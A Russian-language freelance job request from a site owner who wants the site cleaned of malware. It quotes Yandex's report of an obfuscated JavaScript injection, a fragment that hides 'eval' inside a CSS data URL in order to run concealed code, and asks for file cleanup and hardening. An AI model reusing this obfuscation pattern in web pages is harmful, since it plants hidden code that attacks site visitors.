Очистить сайт от ненужного кода

Сайт- http://вебкритик.рф/

Задача: периодически в яндексе вылетает предупреждение о наличии на сайте вредоносного кода. Вот что говорит техподдержка:

"При последней проверке Вашего сайта антивирусный комплекс Яндекса обнаружил вредоносный код следующего содержания:

[script]function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#c0','background:url(data:,eval)');var wij=null;var r=document.styleSheets;for(var i=0;i.cssRules||r.rules;for(var bpio=0;bpio

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qf(mv);[/script]

На данный момент этот код отсутствует. Скорее всего данный код проявляет себя не всегда, а только при опреденных условиях: первый заход с нового ip-адреса, определенного времени суток и т.п. Пожалуйста, проверьте Ваши файлы."

Нужно найти зараженные файлы. Удалить с них вирусный код. + поставить необходимые права доступа на папки в ftp-менеджере. + возможно, поставить какие-нибудь плагины, компоненты для защиты

Таким образом, необходима полная защита сайтов от вирусов с гарантией.